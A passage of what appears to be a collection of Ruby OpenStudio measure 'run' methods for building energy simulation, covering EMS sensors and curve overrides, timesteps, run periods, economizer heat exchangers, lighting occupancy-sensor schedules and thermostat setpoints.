Air Mixer object serving the PTHP object named #{dx_clg_coil.name}.\")\n end\n \n #Create new EMS Sensor Object representing dx coil inlet node dry bulb temperature \n ems_coil_inlet_dbt_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"System Node Temperature\")\n ems_coil_inlet_dbt_sensor.setName(\"CoilInletDBT#{counter}\")\n ems_coil_inlet_dbt_sensor.setKeyName(\"#{dx_coil_inlet_node}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named #{ems_coil_inlet_dbt_sensor.name} added to the model to represent the 'System Node Temperature' associated with the inlet node of the dx coil object named #{dx_clg_coil.name}.\")\n end\n \n #Create new EMS Sensor Object representing dx coil inlet node humidity ratio\n ems_coil_inlet_hum_rat_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"System Node Humidity Ratio\")\n ems_coil_inlet_hum_rat_sensor.setName(\"CoilInletW#{counter}\")\n ems_coil_inlet_hum_rat_sensor.setKeyName(\"#{dx_coil_inlet_node}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named #{ems_coil_inlet_hum_rat_sensor.name} added to the model to represent the 'System Node Humidity Ratio' associated with the inlet node of the dx coil object named #{dx_clg_coil.name}.\")\n end\n \n #Create new EMS Sensor Object representing OA Mixer inlet node dry bulb temp\n ems_oa_mixer_inlet_node_temp_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"System Node Temperature\")\n ems_oa_mixer_inlet_node_temp_sensor.setName(\"OAT#{counter}\")\n ems_oa_mixer_inlet_node_temp_sensor.setKeyName(\"#{oa_mixer_inlet_node_name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named #{ems_oa_mixer_inlet_node_temp_sensor.name} added to the model to represent the 'System Node Temperature' associated with the inlet node of the Outdoor Air Mixer object serving the PTHP object named #{dx_clg_coil.name}.\")\n end\n \n # create new EnergyManagementSystem:OutputVariable object and configure it to hold the current curve value \n ems_erl_curve_value_ov = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, ems_actual_curve_sensor)\n ems_erl_curve_value_ov.setName(\"ERLCurveValue#{counter}\") \n ems_erl_curve_value_ov.setEMSVariableName(\"#{ems_actual_curve_sensor.name}\")\n ems_erl_curve_value_ov.setTypeOfDataInVariable(\"Averaged\")\n\t ems_erl_curve_value_ov.setUpdateFrequency(\"ZoneTimeStep\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable object named #{ems_erl_curve_value_ov.name} added to the model to represent the current performance curve value.\") \n end\n \n # create new EnergyManagementSystem:OutputVariable object and configure it to hold the old curve value \n ems_old_curve_value_gv = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, ems_curve_input_gv)\n ems_old_curve_value_gv.setName(\"OldCurveValue#{counter}\") \n ems_old_curve_value_gv.setEMSVariableName(\"#{ems_curve_input_gv.name}\")\n ems_old_curve_value_gv.setTypeOfDataInVariable(\"Averaged\")\n\t ems_old_curve_value_gv.setUpdateFrequency(\"ZoneTimeStep\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable object named #{ems_old_curve_value_gv.name} added to the model to represent the old performance curve value.\") \n end\n \n # create new EnergyManagementSystem:OutputVariable object and configure it to hold the new curve value \n ems_new_curve_value_gv = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, ems_clg_cap_func_temp_curve_actuator)\n ems_new_curve_value_gv.setName(\"NewCurveValue#{counter}\") \n ems_new_curve_value_gv.setEMSVariableName(\"#{ems_clg_cap_func_temp_curve_actuator.name}\")\n ems_new_curve_value_gv.setTypeOfDataInVariable(\"Averaged\")\n\t ems_new_curve_value_gv.setUpdateFrequency(\"ZoneTimeStep\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable object named #{ems_new_curve_value_gv.name} added to the model to represent the new performance curve value.\") \n end\n \n # Add logic to the EMS program as we iterate through the selected dx cooling coil objects\n ems_curve_overwrite_mngr_prgm.addLine(\"SET TTmp_#{counter} = #{ems_coil_inlet_dbt_sensor.name}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET WTmp_#{counter} = #{ems_coil_inlet_hum_rat_sensor.name}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET PTmp_#{counter} = #{ems_oa_mixer_inlet_node_pressure_sensor.name}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET MyWB_#{counter} = @TwbFnTdbWPb TTmp_#{counter} WTmp_#{counter} PTmp_#{counter}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET IVOnea_#{counter} = MyWB_#{counter}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET IVTwo_#{counter} = #{ems_oa_mixer_inlet_node_temp_sensor.name}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET IVThree_#{counter} = IVOnea_#{counter}*IVTwo_#{counter}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C1_#{counter} = #{c1_a}\") \n ems_curve_overwrite_mngr_prgm.addLine(\"SET C2_#{counter} = #{c1_b}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C3_#{counter} = #{c1_c}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C4_#{counter} = #{c1_d}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C5_#{counter} = #{c1_e}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C6_#{counter} = #{c1_f}\")\n\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C1_a#{counter} = #{c2_a}\") \n ems_curve_overwrite_mngr_prgm.addLine(\"SET C2_a#{counter} = #{c2_b}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C3_a#{counter} = #{c2_c}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C4_a#{counter} = #{c2_d}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C5_a#{counter} = #{c2_e}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET C6_a#{counter} = #{c2_f}\")\n \n # break curve input into two seperate statments (left and right hand) as to not exceed EMS 100 character line limit.\n ems_curve_overwrite_mngr_prgm.addLine(\"SET LeftCurveInput_#{counter}=C1_#{counter}+(C2_#{counter}*IVOnea_#{counter})+(C3_#{counter}*IVOnea_#{counter}*IVonea_#{counter})\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET RightCurveInput_#{counter}=(C4_#{counter}*IVTwo_#{counter})+(C5_#{counter}*IVTwo_#{counter}*IVTwo_#{counter})+(C6_#{counter}*IVThree_#{counter})\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET CurveInput_#{counter} = LeftCurveInput_#{counter} + RightCurveInput_#{counter}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET ##{ems_curve_input_gv.name} = CurveInput_#{counter}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"IF #{ems_oa_mixer_inlet_node_temp_sensor.name}>#{oa_db_curve_threshold_temp_SI}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET LeftCurveInput_#{counter}=C1_a#{counter}+(C2_a#{counter}*IVOnea_#{counter})+(C3_a#{counter}*IVOnea_#{counter}*IVonea_#{counter})\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET RightCurveInput_#{counter}=(C4_a#{counter}*IVTwo_#{counter})+(C5_a#{counter}*IVTwo_#{counter}*IVTwo_#{counter})+(C6_a#{counter}*IVThree_#{counter})\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET CurveInput_#{counter}=LeftCurveInput_#{counter} + RightCurveInput_#{counter}\")\n ems_curve_overwrite_mngr_prgm.addLine(\"ENDIF\")\n ems_curve_overwrite_mngr_prgm.addLine(\"SET #{ems_clg_cap_func_temp_curve_actuator.name} = CurveInput_#{counter}\")\n \n # create new OutputVariable object describing info at the requested reporting frequency\n erl_curve_value_output_variable = OpenStudio::Model::OutputVariable.new(\"#{ems_erl_curve_value_ov.name}\",model)\n erl_curve_value_output_variable.setKeyValue(\"*\") \n erl_curve_value_output_variable.setReportingFrequency(\"Hourly\") \n if verbose_info_statements == true\n runner.registerInfo(\"EnergyPlus Output Variable object named #{ems_erl_curve_value_ov.name} added to the .rdd file for post-processing.\") \n end\n \n # create new OutputVariable object describing info at the requested reporting frequency\n erl_curve_value_output_variable = OpenStudio::Model::OutputVariable.new(\"#{ems_old_curve_value_gv.name}\",model)\n erl_curve_value_output_variable.setKeyValue(\"*\") \n erl_curve_value_output_variable.setReportingFrequency(\"Hourly\") \n if verbose_info_statements == true\n runner.registerInfo(\"EnergyPlus Output Variable object named #{ems_old_curve_value_gv.name} added to the .rdd file for post-processing.\") \n end\n \n # create new OutputVariable object describing info at the requested reporting frequency\n erl_curve_value_output_variable = OpenStudio::Model::OutputVariable.new(\"#{ems_new_curve_value_gv.name}\",model)\n erl_curve_value_output_variable.setKeyValue(\"*\") \n erl_curve_value_output_variable.setReportingFrequency(\"Hourly\") \n if verbose_info_statements == true\n runner.registerInfo(\"EnergyPlus Output Variable object named #{ems_new_curve_value_gv.name} added to the .rdd file for post-processing.\") \n end\n \n end # end loop through selected dx cooling coils \n\n # create new OutputVariable object describing info at the requested reporting frequency\n output_variable_oa_db = OpenStudio::Model::OutputVariable.new(\"Site Outdoor Air Drybulb Temperature\",model)\n output_variable_oa_db.setKeyValue(\"*\")\n output_variable_oa_db.setReportingFrequency(\"Hourly\") \n output_variable_oa_db.setVariableName(\"Site Outdoor Air Drybulb Temperature\")\n if verbose_info_statements == true\n runner.registerInfo(\"EnergyPlus Output Variable object named #{output_variable_oa_db.name} added to the .rdd file for post-processing.\") \n end\n \n # create OutputEnergyManagementSystem object (a 'unique' object) and configure to allow EMS reporting\n output_EMS = model.getOutputEnergyManagementSystem\n output_EMS.setInternalVariableAvailabilityDictionaryReporting(\"internal_variable_availability_dictionary_reporting\")\n output_EMS.setEMSRuntimeLanguageDebugOutputLevel(\"ems_runtime_language_debug_output_level\")\n output_EMS.setActuatorAvailabilityDictionaryReporting(\"actuator_availability_dictionary_reporting\")\n if verbose_info_statements == true\n runner.registerInfo(\"Output EMS Program Object settings configured for the model.\") \n end\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n # use the built-in error checking\r\n if !runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n # assign the user inputs to variables\r\n timestep = runner.getIntegerArgumentValue('timestep', user_arguments)\r\n\r\n model_time_step = model.getTimestep\r\n old_timestep = model_time_step.numberOfTimestepsPerHour\r\n runner.registerWarning(\"The model started with timestep of #{old_timestep}.\")\r\n model_time_step.setNumberOfTimestepsPerHour(timestep)\r\n new_timestep = model_time_step.numberOfTimestepsPerHour\r\n runner.registerWarning(\"The model finished with timestep of #{new_timestep}.\")\r\n \r\n return true\r\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n condenser_water_loop = runner.getOptionalWorkspaceObjectChoiceValue(\"condenser_water_loop\",user_arguments,model)\n chilled_water_loop = runner.getOptionalWorkspaceObjectChoiceValue(\"chilled_water_loop\",user_arguments,model)\n \n #check the condenser_water_loop for reasonableness\n if condenser_water_loop.empty?\n runner.registerError(\"The selected plant loop was not found in the model. It may have been removed by another measure.\")\n return false\n else\n if not condenser_water_loop.get.to_PlantLoop.empty?\n condenser_water_loop = condenser_water_loop.get.to_PlantLoop.get\n runner.registerInfo(\"Using plant loop #{condenser_water_loop.name.to_s} as condenser water loop.\")\n else\n runner.registerError(\"Script Error - argument not showing up as plant loop.\")\n return false\n end\n end\n \n #check the chilled_water_loop for reasonableness\n if chilled_water_loop.empty?\n runner.registerError(\"The selected plant loop was not found in the model. It may have been removed by another measure.\")\n return false\n else\n if not chilled_water_loop.get.to_PlantLoop.empty?\n chilled_water_loop = chilled_water_loop.get.to_PlantLoop.get\n runner.registerInfo(\"Using plant loop #{chilled_water_loop.name.to_s} as chilled water loop.\")\n else\n runner.registerError(\"Script Error - argument not showing up as plant loop.\")\n return false\n end\n end\n \n #make new heat exchanger\n heat_exchanger = OpenStudio::Model::HeatExchangerFluidToFluid.new(model)\n heat_exchanger.setName(\"Waterside Economizer Heat Exchanger\")\n heat_exchanger.setHeatExchangeModelType(\"Ideal\")\n heat_exchanger.setControlType(\"CoolingSetpointOnOff\")\n heat_exchanger.setMinimumTemperatureDifferencetoActivateHeatExchanger(OpenStudio.convert(4,\"R\",\"K\").get)\n heat_exchanger.setHeatTransferMeteringEndUseType(\"FreeCooling\")\n heat_exchanger.setOperationMinimumTemperatureLimit(OpenStudio.convert(35,\"F\",\"C\").get)\n heat_exchanger.setOperationMaximumTemperatureLimit(OpenStudio.convert(72,\"F\",\"C\").get)\n \n #add heat exchanger to condenser water loop\n condenser_water_loop.addDemandBranchForComponent(heat_exchanger)\n\n #add heat exchanger to chilled water loop\n chilled_water_loop_supply_inlet_node = chilled_water_loop.supplyInletNode\n heat_exchanger.addToNode(chilled_water_loop_supply_inlet_node)\n \n runner.registerFinalCondition(\"Added #{heat_exchanger.name.to_s} to condenser water loop #{condenser_water_loop.name.to_s} and chilled water loop #{chilled_water_loop.name.to_s}.\")\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # assign the user inputs to variables\n args = OsLib_HelperMethods.createRunVariables(runner, model, user_arguments, arguments(model))\n if !args then return false end\n\n # setup log messages that will come from standards\n OsLib_HelperMethods.setup_log_msgs(runner, true) # bool is debug\n\n # load standards\n standard = Standard.build('90.1-2004') # selected template doesn't matter\n\n # change formulas, ceiling, adn floor values from arguments\n counter_parametric_schedules = []\n model.getScheduleRulesets.sort.each do |sch|\n # get ceiling and floor\n floor = sch.additionalProperties.getFeatureAsDouble('param_sch_floor')\n ceiling = sch.additionalProperties.getFeatureAsDouble('param_sch_ceiling')\n if floor.is_initialized || ceiling.is_initialized\n\n # argument for floor\n arg_name = \"#{sch.name} Floor Value\"\n sch.additionalProperties.setFeature('param_sch_floor', args[arg_name.downcase.gsub(' ', '_')])\n\n # argument for ceiling\n arg_name = \"#{sch.name} Ceiling Value\"\n sch.additionalProperties.setFeature('param_sch_ceiling', args[arg_name.downcase.gsub(' ', '_')])\n end\n\n # loop through rules\n sch_days = {}\n sch.scheduleRules.each do |rule|\n sch_days[rule.daySchedule] = nil\n end\n\n # add default profile\n sch_days[sch.defaultDaySchedule] = 'default profile'\n\n # should appear in similar oder to GUI now with default on the bottom\n sch_days.each do |sch_day, not_used|\n prop = sch_day.additionalProperties.getFeatureAsString('param_day_profile')\n if prop.is_initialized\n\n # argument for formulas\n arg_name = \"#{sch.name}_#{sch_day.name}\"\n sch_day.additionalProperties.setFeature('param_day_profile', args[arg_name.downcase.gsub(' ', '_')])\n\n # add to counter for initial condition\n counter_parametric_schedules << sch\n\n end\n end\n end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building started with #{counter_parametric_schedules.uniq.size.size} parametric schedules.\")\n\n # if requested re-generate schedules\n if args['apply_parametric_sch']\n parametric_schedules = standard.model_apply_parametric_schedules(model, ramp_frequency: nil, infer_hoo_for_non_assigned_objects: true, error_on_out_of_order: true)\n runner.registerInfo(\"Applying #{parametric_schedules.size} parametric schedules.\")\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with #{parametric_schedules.size} parametric schedules.\")\n\n # report log messages from standards\n OsLib_HelperMethods.log_msgs\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assume the occ sensors will last the full analysis\n expected_life = 25\n \n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n material_and_installation_cost_per_space = runner.getDoubleArgumentValue(\"material_and_installation_cost_per_space\",user_arguments)\n\n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n #find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n if apply_to_building #apply to the whole building\n \n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n space_type.lights.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n space.lights.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n end\n end\n \n #make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n #TODO skip non-schedule-ruleset schedules\n \n #copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n #reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n #runner.registerInfo(\"***\")\n end\n \n #replace the old schedules with the new schedules\n spaces_sensors_added_to = []\n if apply_to_building #apply to the whole building\n runner.registerInfo(\"Adding occupancy sensors to whole building\")\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n runner.registerInfo(\"Adding occupancy sensors to space type '#{space_type.name}'\")\n space_type.lights.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n runner.registerInfo(\"Adding occupancy sensors to space '#{space.name}\")\n space.lights.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end \n end\n end \n \n #report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the specified areas of the building.\")\n return true\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has several areas where occupancy sensors could be used to reduce lighting energy by turning off the lights while no occupants are present.\") \n \n #add cost of adding occ sensors\n if material_and_installation_cost_per_space != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Add #{material_and_installation_cost_per_space} Occ Sensors to the Building\", model.getBuilding, material_and_installation_cost_per_space * num_sensors_added, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Add occupancy sensors to #{num_sensors_added} spaces in the building. The total cost to perform this is $#{material_and_installation_cost_per_space.round} per space, for a total cost of $#{(material_and_installation_cost_per_space * num_sensors_added).round}\")\n else\n runner.registerFinalCondition(\"Add occupancy sensors to #{num_sensors_added} #{space_type.name} spaces in the building. The total cost to perform this is $#{material_and_installation_cost_per_space.round} per space, for a total cost of $#{(material_and_installation_cost_per_space * num_sensors_added).round}\")\n end\n \n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables\n timesteps_per_hr = runner.getIntegerArgumentValue('timesteps_per_hr', user_arguments)\n enable_dst = runner.getBoolArgumentValue('enable_dst', user_arguments)\n dst_start = runner.getStringArgumentValue('dst_start', user_arguments)\n dst_end = runner.getStringArgumentValue('dst_end', user_arguments)\n calendar_year = runner.getIntegerArgumentValue('calendar_year', user_arguments)\n jan_first_day_of_wk = runner.getStringArgumentValue('jan_first_day_of_wk', user_arguments)\n begin_month = runner.getIntegerArgumentValue('begin_month', user_arguments)\n begin_day = runner.getIntegerArgumentValue('begin_day', user_arguments)\n end_month = runner.getIntegerArgumentValue('end_month', user_arguments)\n end_day = runner.getIntegerArgumentValue('end_day', user_arguments)\n\n # Daylight savings\n if enable_dst\n dst_control = model.getRunPeriodControlDaylightSavingTime\n dst_control.setStartDate(dst_start)\n dst_control.setEndDate(dst_end)\n runner.registerInfo(\"Daylight savings enabled from #{dst_control.getString(1)} to #{dst_control.getString(2)}.\")\n else\n dst_control = model.getRunPeriodControlDaylightSavingTime.remove\n model.getRunPeriod.setUseWeatherFileDaylightSavings(false)\n runner.registerInfo(\"Daylight savings disabled.\")\n end\n\n # Timestep\n timestep = model.getTimestep\n timestep.setNumberOfTimestepsPerHour(timesteps_per_hr)\n runner.registerInfo(\"Timestep set to #{timestep.numberOfTimestepsPerHour} timesteps/hr.\")\n\n # Run period\n run_period = model.getRunPeriod\n run_period.setBeginMonth(begin_month)\n run_period.setBeginDayOfMonth(begin_day)\n run_period.setEndMonth(end_month)\n run_period.setEndDayOfMonth(end_day)\n runner.registerInfo(\"Run period set from #{run_period.getBeginMonth}/#{run_period.getBeginDayOfMonth} to #{run_period.getEndMonth}/#{run_period.getEndDayOfMonth}.\")\n\n # Year\n yr_desc = model.getYearDescription\n if calendar_year > 0\n yr_desc.setCalendarYear(calendar_year)\n fwd_translator_first_day = yr_desc.makeDate(run_period.getBeginMonth, run_period.getBeginDayOfMonth).dayOfWeek.valueName\n runner.registerInfo(\"Calendar year set to #{yr_desc.calendarYear.get}, start day of week in IDF will be set to #{fwd_translator_first_day} for #{run_period.getBeginMonth}/#{run_period.getBeginDayOfMonth}/#{yr_desc.calendarYear.get} during OSM to IDF translation.\")\n else\n yr_desc.resetDayofWeekforStartDay\n yr_desc.resetCalendarYear\n yr_desc.setDayofWeekforStartDay(jan_first_day_of_wk)\n runner.registerInfo(\"Reset calendar year and set Jan 1st day of week to #{yr_desc.dayofWeekforStartDay}. Calendar year assumed to be #{yr_desc.assumedYear}.\")\n end\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n scenario_file_name = runner.getStringArgumentValue('scenario_file_name', user_arguments)\n scenario_number = runner.getDoubleArgumentValue('scenario_number', user_arguments)\n \n #hash of scenarios\n hash_of_scenarios = {1 => 'baseline_scenario',\n 2 => 'highefficiency_scenario',\n 3 => 'REopt_scenario',\n 4 => 'evcharging_scenario',\n 5 => 'thermalstorage_scenario'\n }\n #check if scenario_number is used.\n if scenario_number != 0\n runner.registerInfo(\"replacing argument scenario_file_name: #{scenario_file_name} with scenario_number: #{scenario_number}\")\n if hash_of_scenarios[scenario_number.round].nil?\n runner.registerError(\"scenario_number: #{scenario_number} is not in hash_of_scenarios!\")\n return false\n end\n scenario_file_name = hash_of_scenarios[scenario_number.round]\n end\n \n #TODO try and get simulation_dir value\n #scenario_file_override = \"#{simulation_dir}/urbanopt/scenario_file_override.json\"\n scenario_file_override = \"../../urbanopt/scenario_file_override.json\"\n if File.exist?(scenario_file_override)\n runner.registerError(\"scenario_file_override File: #{scenario_file_override} already exists!\")\n return false\n end\n\n scenario_hash = {scenario_file: scenario_file_name}\n #write_size = File.write(scenario_file_override, scenario_hash.to_json)\n write_size = File.write(scenario_file_override, JSON.pretty_generate(scenario_hash))\n if write_size >= 0\n runner.registerFinalCondition(\"saved scenario_file_override.json\")\n else\n runner.registerWarning(\"saved scenario_file_override.json was size zero!\")\n end \n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n zones = runner.getOptionalWorkspaceObjectChoiceValue('zones', user_arguments, model) # model is passed in because of argument type\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments)\n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments)\n \n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n # check the zone selection for existence in model\n apply_to_all_zones = false\n selected_zone = nil\n if zones.empty?\n handle = runner.getStringArgumentValue('zones', user_arguments)\n if handle.empty?\n runner.registerError('No thermal zone was chosen.')\n return false\n else\n runner.registerError(\"The selected thermal zone with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !zones.get.to_ThermalZone.empty?\n selected_zone = zones.get.to_ThermalZone.get\n elsif !zones.get.to_Building.empty?\n apply_to_all_zones = true\n else\n runner.registerError('Script Error - argument not showing up as thermal zone.')\n return false\n end\n end\n \n # define selected zones, depending on user input, add selected zones to an array\n selected_zones = []\n if apply_to_all_zones == true\n model.getThermalZones.each do |each_zone|\n if each_zone.thermostatSetpointDualSetpoint.is_initialized\n tstat = each_zone.thermostatSetpointDualSetpoint.get\n if tstat.heatingSetpointTemperatureSchedule.is_initialized || tstat.coolingSetpointTemperatureSchedule.is_initialized\n selected_zones << each_zone\n end\n end \n end \n else\n selected_zones << selected_zone\n end\n\n constant_clg_setpt = 24 # Deg C, from EMS Application Guide\n constant_htg_setpt = 21 # Deg C, from EMS Application Guide\n \n # create ScheduleConstant object for heating schedule \n constant_htg_setpt_sch = OpenStudio::Model::ScheduleConstant.new(model)\n constant_htg_setpt_sch.setName(\"HTGSETP_SCH\")\n constant_htg_setpt_sch.setValue(constant_htg_setpt)\n if verbose_info_statements == true\n runner.registerInfo(\"Created new Schedule:Constant object representing constant a heating temp of #{OpenStudio.convert(constant_htg_setpt,\"C\",\"F\")} deg F.\") \n end\n \n # create ScheduleConstant object for cooling schedule \n constant_clg_setpt_sch = OpenStudio::Model::ScheduleConstant.new(model)\n constant_clg_setpt_sch.setName(\"CLGSETP_SCH\")\n constant_clg_setpt_sch.setValue(constant_clg_setpt)\n if verbose_info_statements == true\n runner.registerInfo(\"Created new Schedule:Constant object representing constant a cooling temp of #{OpenStudio.convert(constant_clg_setpt,\"C\",\"F\")} deg F.\") \n end\n \n #loop through selected conditioned zone(s), find dual setpoint T-stat, and assign new htg and clg T-stat schedules \n selected_zones.each do |zone|\n \n tstat_dual_setpt = zone.thermostatSetpointDualSetpoint\n if tstat_dual_setpt.is_initialized\n tstat_dual_setpt = tstat_dual_setpt.get\n \n # get existing zone heating t-stat schedule - an OpenStudio resource object\n exg_htg_temp_sch = tstat_dual_setpt.heatingSetpointTemperatureSchedule\n if exg_htg_temp_sch.is_initialized\n exg_htg_temp_sch = exg_htg_temp_sch.get\n exg_htg_temp_sch_name = exg_htg_temp_sch.name\n \n # replace existing heating T-stat schedule with constant temp schedule so that the existing schedule object (a resource \n # object potentially referenced elsewhere in the osm file) is not tampered with.\n tstat_dual_setpt.setHeatingSchedule(constant_htg_setpt_sch)\n if verbose_info_statements == true\n runner.registerInfo(\"For Dual Setpoint T-stat serving the zone named #{zone.name}, replaced htg setpoint schedule named #{exg_htg_temp_sch_name} with new schedule named #{constant_htg_setpt_sch.name}.\") \n end\n 